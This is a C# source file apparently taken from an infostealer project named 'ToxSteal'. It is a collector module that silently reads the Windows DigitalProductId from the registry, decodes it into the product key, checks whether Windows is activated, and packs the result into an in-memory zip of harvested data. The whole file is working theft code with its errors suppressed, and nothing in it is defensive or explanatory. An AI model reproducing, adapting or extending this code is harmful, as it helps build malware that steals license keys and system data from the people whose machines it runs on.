Files
ToxSteal-Standalone/New/Intelix.Targets.Device/ProductKey.cs
T
2026-08-27 18:29:08 +00:00

136 lines
4.0 KiB
C#

using System;
using System.Collections;
using System.Text;
using Intelix.Helper.Data;
using Microsoft.Win32;
namespace Intelix.Targets.Device;
public class ProductKey : ITarget
{
private enum DigitalProductIdVersion
{
UpToWindows7,
Windows8AndUp
}
public void Collect(InMemoryZip zip, Counter counter)
{
try
{
RegistryKey registryKey = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, Environment.Is64BitOperatingSystem ? RegistryView.Registry64 : RegistryView.Registry32);
object obj = registryKey.OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion")?.GetValue("DigitalProductId");
if (obj != null)
{
byte[] digitalProductId = (byte[])obj;
registryKey.Close();
bool flag = (Environment.OSVersion.Version.Major == 6 && Environment.OSVersion.Version.Minor >= 2) || Environment.OSVersion.Version.Major > 6;
string windowsProductKeyFromDigitalProductId = GetWindowsProductKeyFromDigitalProductId(digitalProductId, flag ? DigitalProductIdVersion.Windows8AndUp : DigitalProductIdVersion.UpToWindows7);
if (!string.IsNullOrEmpty(windowsProductKeyFromDigitalProductId))
{
string text = (IsWindowsActivatedFast() ? "Activated ✅" : "Not Activated ❌");
StringBuilder stringBuilder = new StringBuilder();
stringBuilder.AppendLine("=== Windows Product Key Info ===");
stringBuilder.AppendLine("Status : " + text);
stringBuilder.AppendLine("Key : " + windowsProductKeyFromDigitalProductId);
stringBuilder.AppendLine("================================");
zip.AddTextFile("ProductKey.txt", stringBuilder.ToString());
}
}
}
catch
{
}
}
private string DecodeProductKeyWin8AndUp(byte[] digitalProductId)
{
string text = string.Empty;
byte b = (byte)((digitalProductId[66] / 6) & 1);
digitalProductId[66] = (byte)((digitalProductId[66] & 0xF7) | ((b & 2) * 4));
int num = 0;
for (int num2 = 24; num2 >= 0; num2--)
{
int num3 = 0;
for (int num4 = 14; num4 >= 0; num4--)
{
num3 *= 256;
num3 = digitalProductId[num4 + 52] + num3;
digitalProductId[num4 + 52] = (byte)(num3 / 24);
num3 %= 24;
num = num3;
}
text = "BCDFGHJKMPQRTVWXY2346789"[num3] + text;
}
string text2 = text.Substring(1, num);
string text3 = text.Substring(num + 1, text.Length - (num + 1));
text = text2 + "N" + text3;
for (int i = 5; i < text.Length; i += 6)
{
text = text.Insert(i, "-");
}
return text;
}
private string DecodeProductKey(byte[] digitalProductId)
{
char[] array = new char[24]
{
'B', 'C', 'D', 'F', 'G', 'H', 'J', 'K', 'M', 'P',
'Q', 'R', 'T', 'V', 'W', 'X', 'Y', '2', '3', '4',
'6', '7', '8', '9'
};
char[] array2 = new char[29];
ArrayList arrayList = new ArrayList();
for (int i = 52; i <= 67; i++)
{
arrayList.Add(digitalProductId[i]);
}
for (int num = 28; num >= 0; num--)
{
if ((num + 1) % 6 == 0)
{
array2[num] = '-';
}
else
{
int num2 = 0;
for (int num3 = 14; num3 >= 0; num3--)
{
int num4 = (num2 << 8) | (byte)arrayList[num3];
arrayList[num3] = (byte)(num4 / 24);
num2 = num4 % 24;
array2[num] = array[num2];
}
}
}
return new string(array2);
}
private string GetWindowsProductKeyFromDigitalProductId(byte[] digitalProductId, DigitalProductIdVersion digitalProductIdVersion)
{
if (digitalProductIdVersion != DigitalProductIdVersion.Windows8AndUp)
{
return DecodeProductKey(digitalProductId);
}
return DecodeProductKeyWin8AndUp(digitalProductId);
}
public static bool IsWindowsActivatedFast()
{
try
{
using RegistryKey registryKey = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry64).OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SoftwareProtectionPlatform");
if (registryKey != null)
{
object value = registryKey.GetValue("BackupProductKeyDefault");
return value != null && value.ToString().Length > 0;
}
}
catch
{
}
return false;
}
}